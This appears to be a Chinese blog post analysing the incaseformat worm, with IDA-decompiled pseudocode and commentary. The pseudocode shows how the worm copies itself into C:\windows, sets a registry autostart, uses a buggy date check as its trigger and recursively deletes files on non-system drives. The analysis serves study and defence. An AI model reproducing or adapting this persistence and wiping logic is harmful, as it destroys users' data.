愚人节病毒 ???
不同于熊猫烧香 彩虹猫 之前的钉_钉病毒,
2021年1月13号 incaseformat蠕虫病毒来袭,会自动复制到windows目录下,并写入注册表,重启电脑后,病毒会遍历除了系统盘外的所有磁盘进行删除。
病毒检出率
病毒行为分析
PEID分析
使用Borland Delphi 6.0 - 7.0 [Overlay]编写
先查看字符串信息
进行定位
危险函数相关代码
int TForm1_FormCreate()
{
__writefsdword(0, (unsigned int)&v17);
System::ParamStr(0);
Sysutils::ExtractFilePath(v43);
System::ParamStr(0);
Sysutils::ExtractFileName(v40);
v14 = unknown_libname_69(v41) - 4;
System::ParamStr(0);
Sysutils::ExtractFileName(v39);
System::__linkproc__ LStrCopy(&v42);
System::__linkproc__ LStrCat(&System::AnsiString, v42);
if ( (unsigned __int8)Sysutils::DirectoryExists(System::AnsiString) )
{
System::ParamStr(0);
Sysutils::ExtractFilePath(v37);
System::ParamStr(0);
Sysutils::ExtractFileName(v34);
unknown_libname_69(v35);
System::ParamStr(0);
Sysutils::ExtractFileName(v33);
System::__linkproc__ LStrCopy(&v36);
System::__linkproc__ LStrCatN(&v38, 3, v0, v36, &str___16[1]);
v1 = (const CHAR *)System::__linkproc__ LStrToPChar(v38);
ShellExecuteA(0, 0, v1, 0, 0, 1);
}
if ( !(unsigned __int8)Sysutils::FileExists((const int)&str_C__windows_tsay[1]) )
{
System::ParamStr(0);
v2 = (const CHAR *)System::__linkproc__ LStrToPChar(v32);
CopyFileA(v2, "C:\\windows\\tsay.exe", -1);
v3 = (Registry::TRegistry *)Registry::TRegistry::TRegistry((Registry::TRegistry *)dword_4259E4);
Registry::TRegistry::SetRootKey(v3, 0x80000002);
LOBYTE(v4) = 1;
Registry::TRegistry::OpenKey(v3, (const int)&str_SOFTWARE_Micros[1], v4);
Registry::TRegistry::WriteString(v3, &str_msfsa[1], &str_C__windows_tsay[1]);
Registry::TRegistry::CloseKey(v3);
v5 = System::TObject::Free(v3);
System::__linkproc__ Halt0(v5);
}
v16 = &savedregs;
v15 = &loc_44F1A6;
v14 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v14);
System::ParamStr(0);
v6 = (const CHAR *)System::__linkproc__ LStrToPChar(v31);
CopyFileA(v6, "C:\\windows\\tsay.exe", 0);
__writefsdword(0, v14);
v16 = &savedregs;
v15 = &loc_44F20F;
v14 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v14);
v7 = (Registry::TRegistry *)Registry::TRegistry::TRegistry((Registry::TRegistry *)dword_4259E4);
Registry::TRegistry::SetRootKey(v7, 0x80000002);
LOBYTE(v8) = 1;
Registry::TRegistry::OpenKey(v7, (const int)&str_SOFTWARE_Micros[1], v8);
Registry::TRegistry::WriteString(v7, &str_msfsa[1], &str_C__windows_tsay[1]);
Registry::TRegistry::CloseKey(v7);
System::TObject::Free(v7);
__writefsdword(0, v14);
System::ParamStr(0);
Sysutils::UpperCase(v29);
v16 = v30;
Sysutils::UpperCase((const int)&str_C__windows_tsay[1]);
System::__linkproc__ LStrCmp(v16, v28);
if ( v9 )
{
v16 = &savedregs;
v15 = &loc_44F2C5;
v14 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v14);
System::ParamStr(0);
v11 = (const CHAR *)System::__linkproc__ LStrToPChar(v24);
CopyFileA(v11, "C:\\windows\\ttry.exe", 0);
__writefsdword(0, v14);
v12 = ShellExecuteA(0, 0, "C:\\windows\\ttry.exe", 0, 0, 0);
System::__linkproc__ Halt0(v12);
}
System::ParamStr(0);
Sysutils::UpperCase(v26);
v16 = v27;
Sysutils::UpperCase((const int)&str_C__windows_ttry[1]);
v10 = System::__linkproc__ LStrCmp(v16, v25);
if ( !v9 )
System::__linkproc__ Halt0(v10);
__writefsdword(0, v17);
__writefsdword(0, (unsigned int)v21);
v23 = &loc_44F32B;
return System::__linkproc__ LStrArrayClr(&v24, 24);
}
其中 CopyFileA(v6, “C:\windows\tsay.exe”, 0);
与 CopyFileA(v11, “C:\windows\ttry.exe”, 0);
__writefsdword(0, v14);
v12 = ShellExecuteA(0, 0, “C:\windows\ttry.exe”, 0, 0, 0);
会先进行判断文件是否存在,将其写入注册表设置为开机自启,并将程序拷贝到 C盘Windows下
ShellExecuteA函数是windows的API函数,功能是执行可执行文件(exe)或任何关联文件(doc、txt、xls等)。
ShellExecute是异步执行的,不管执行的程序是否成功运行,运行的时间是长是短,ShellExecute函数都会立即返回。即执行ttry.exe程序
之后定位下一个函数
int __usercall TForm1_Timer2Timer@<eax>(int a1@<eax>, long double a2@<st0>)
{
int v2; // edx@1
int v3; // ebx@9
signed int v4; // esi@10
unsigned int v5; // edx@12
unsigned int v7; // [sp-18h] [bp-44h]@1
void *v8; // [sp-14h] [bp-40h]@1
int *v9; // [sp-10h] [bp-3Ch]@1
unsigned int v10; // [sp-Ch] [bp-38h]@1
void *v11; // [sp-8h] [bp-34h]@1
int *v12; // [sp-4h] [bp-30h]@1
int v13; // [sp+Ch] [bp-20h]@1
System::TObject *v14; // [sp+10h] [bp-1Ch]@1
unsigned __int16 v15; // [sp+16h] [bp-16h]@1
unsigned __int16 v16; // [sp+18h] [bp-14h]@1
long double System::TDateTime; // [sp+1Ah] [bp-12h]@1
int v18; // [sp+28h] [bp-4h]@1
int savedregs; // [sp+2Ch] [bp+0h]@1
v13 = 0;
v18 = a1;
v12 = &savedregs;
v11 = &loc_44EFA1;
v10 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v10);
unknown_libname_426(*(_DWORD *)(a1 + 764), 0);
v9 = &savedregs;
v8 = &loc_44EF84;
v7 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v7);
LOBYTE(v2) = 1;
v14 = (System::TObject *)unknown_libname_42(cls_Classes_TStringList, v2);
Sysutils::Now();
*(double *)((char *)&System::TDateTime + 2) = a2;
sub_44E5C8(&v14);
Sysutils::DecodeDate(
(const int)&System::TDateTime,
&v16,
&v15,
*(unsigned __int16 **)((char *)&System::TDateTime + 2));
if ( LOWORD(System::TDateTime) > 0x7D9u )
{
if ( v16 > 3u )
{
if ( v15 == 1 || v15 == 10 || v15 == 21 || v15 == 29 )
{
v3 = (*(int (**)(void))(*(_DWORD *)v14 + 20))() - 1;
if ( v3 > 0 )
{
v4 = 1;
do
{
(*(void (__fastcall **)(System::TObject *, signed int, int *))(*(_DWORD *)v14 + 12))(v14, v4, &v13);
sub_44EC70(v13);
++v4;
--v3;
}
while ( v3 );
}
}
System::TObject::Free(v14);
v5 = v7;
__writefsdword(0, v7);
v9 = (int *)&loc_44EF8B;
LOBYTE(v5) = 1;
unknown_libname_426(*(_DWORD *)(v18 + 764), v5);
}
else
{
System::__linkproc__ TryFinallyExit(v7, v8, v9);
}
}
else
{
System::__linkproc__ TryFinallyExit(v7, v8, v9);
}
__writefsdword(0, v10);
v12 = (int *)&loc_44EFA8;
return System::__linkproc__ LStrClr(&v13);
}
着重关注判断语句
if ( LOWORD(System::TDateTime) > 2009u )
获取到系统时间,如果年份大于2009
if ( v16 > 3u )
如果月份大于3
if ( v15 == 1 || v15 == 10 || v15 == 21 || v15 == 29 )
如果日期等于1 或 等于10 或等于21 或等于29
就会触发 sub_44ec70
但是这段代码上方
会通过获取到当前时间之后,通过DecodeDate对时间进行处理
int __fastcall Sysutils::DecodeDate(const int System::TDateTime, unsigned __int16 *a2, unsigned __int16 *a3, int a4, unsigned __int16 *a5)
{
unsigned __int16 v6; // [sp+6h] [bp-2h]@1
return Sysutils::DecodeDateFully(System::TDateTime, a2, a3, a5, &v6);
}
具体算法如下:
int __fastcall Sysutils::DecodeDateFully(const int System::TDateTime, unsigned __int16 *a2, unsigned __int16 *a3, __int64 a4, unsigned __int16 *a5)
{
v20 = (unsigned __int16 *)System::TDateTime;
Sysutils::DateTimeToTimeStamp(*(double *)&a4);
if ( v14 > 0 )
{
*a5 = v14 % 7 + 1;
v6 = v14 - 1;
for ( i = 1; v6 >= 146097; i += 400 )
v6 -= 146097;
unknown_libname_101(&v17);
if ( v15 == 4 )
{
v15 = 3;
v17 -= 29012;
}
unknown_libname_101(&v17);
v8 = 4 * v15 + 100 * v15 + i;
unknown_libname_101(&v17);
if ( v15 == 4 )
{
v15 = 3;
v17 += 365;
}
v9 = v15 + v8;
v10 = Sysutils::IsLeapYear(v9);
v5 = v10;
v11 = (char *)&unk_4500DC + 24 * (unsigned __int8)v10;
for ( j = 1; ; ++j )
{
v16 = *(_WORD *)&v11[2 * (unsigned __int16)j - 2];
if ( v17 < v16 )
break;
v17 -= v16;
}
*v20 = v9;
*v19 = j;
*v18 = v17 + 1;
}
else
{
*v20 = 0;
*v19 = 0;
*v18 = 0;
*a5 = 0;
v5 = 0;
}
return v5;
}
导致算法执行后的结构与预期不符,原本会是2010年4月1号愚人节启动,缺阴差阳错的成了2021年1月13号执行,那么下次就是1月23和2月4号
具体原因是DateTimeToTimeStamp这个函数中出现了变量异常
int __fastcall Sysutils::DateTimeToTimeStamp(int a1, int a2, int a3, double a4)
{
int v4; // ecx@1
unsigned __int64 v5; // rax@1
int v6; // edx@2
unsigned __int64 v7; // rtt@2
int v8; // eax@2
unsigned __int64 v9; // rt2@3
int result; // eax@4
v4 = a1;
v5 = (signed __int64)(a4 * flt_45017C);
if ( SHIDWORD(v5) >= 0 )
{
v9 = v5 % (unsigned int)dword_450180;
v8 = v5 / (unsigned int)dword_450180;
v6 = v9;
}
else
{
LODWORD(v5) = -(signed int)v5;
LODWORD(v7) = v5;
HIDWORD(v7) = -HIDWORD(v5) - ((_DWORD)v5 != 0);
v6 = v7 % (unsigned int)dword_450180;
v8 = -(signed int)(v7 / (unsigned int)dword_450180);
}
result = v8 + 693594;
*(_DWORD *)v4 = v6;
*(_DWORD *)(v4 + 4) = result;
return result;
}
这里的dword_450180 按照设计者最初的设想,其时间戳转日的值应该是 86400000ms 而这里是94854340
导致计算出的数值错误。
接下来看,程序对硬盘的操作
char __fastcall sub_44EC70(int a1)
{
System::__linkproc__ LStrAddRef();
unknown_libname_74(&FatTime, &byte_406E1C);
v9 = &savedregs;
v8 = &loc_44EE40;
v7 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v7);
v6 = &savedregs;
v5 = &loc_44EDF7;
v4 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v4);
v1 = unknown_libname_69(v18);
if ( *(_BYTE *)(v18 + v1 - 1) != 92 )
System::__linkproc__ LStrCat(&v18, &str___15[1]);
System::__linkproc__ LStrCat3(&v16, v18, &str_____0[1]);
if ( !Sysutils::FindFirst(v16, 63, &FatTime) )
{
do
{
System::__linkproc__ LStrCmp(v15, &str___2[1]);
if ( !v2 )
{
System::__linkproc__ LStrCmp(v15, &str____0[1]);
if ( !v2 )
{
if ( v14 & 0x10 )
{
System::__linkproc__ LStrCat3(&v12, v18, v15);
if ( !(unsigned __int8)sub_44EC70(v12) )
v17 = 0;
}
else
{
System::__linkproc__ LStrCat3(&System::AnsiString, v18, v15);
Sysutils::FileSetAttr(System::AnsiString, 0);
System::__linkproc__ LStrCat3(&v10, v18, v15);
Sysutils::DeleteFile(v10);
}
}
}
}
while ( !Sysutils::FindNext(&FatTime) );
Sysutils::FindClose(&FatTime);
}
Sysutils::FileSetAttr(v18, 0);
v17 = (unsigned __int8)Sysutils::RemoveDir(v18) != 0;
__writefsdword(0, v4);
__writefsdword(0, v7);
v9 = (int *)&loc_44EE47;
System::__linkproc__ LStrArrayClr(&v10, 3);
System::__linkproc__ FinalizeRecord(&FatTime, &byte_406E1C);
System::__linkproc__ LStrClr(&v16);
System::__linkproc__ LStrClr(&v18);
return v17;
}
函数的主要功能是根据前缀路径 “.”匹配所有的文件,循环删除,遇到文件夹会进行递归删除
目前某招聘网站已被感染
网站存在文件上传漏洞,已经有病毒样本 2019年已被爆出 但目前依然可以下载
下载后的样本 与原病毒样本对比
使用IDA进行查看
可以确定为同一病毒
其病毒行为与原病毒行为一样
程序的图标同Windows的文件夹,错误点击后可能会弹窗报错,Windows7 测试,未报错。
电脑重启前
重启后 发现E盘占用空间依然有,但是文件以及没有了
windows7下出现的一些问题
PCHunter打开
能看到其运行的进程 ,原有执行文件已经消失
这个病毒对我没有危害: 因为我Windows只有C盘,个人感觉 固态硬盘 分区的意义好像不大
最后 一张图收尾 :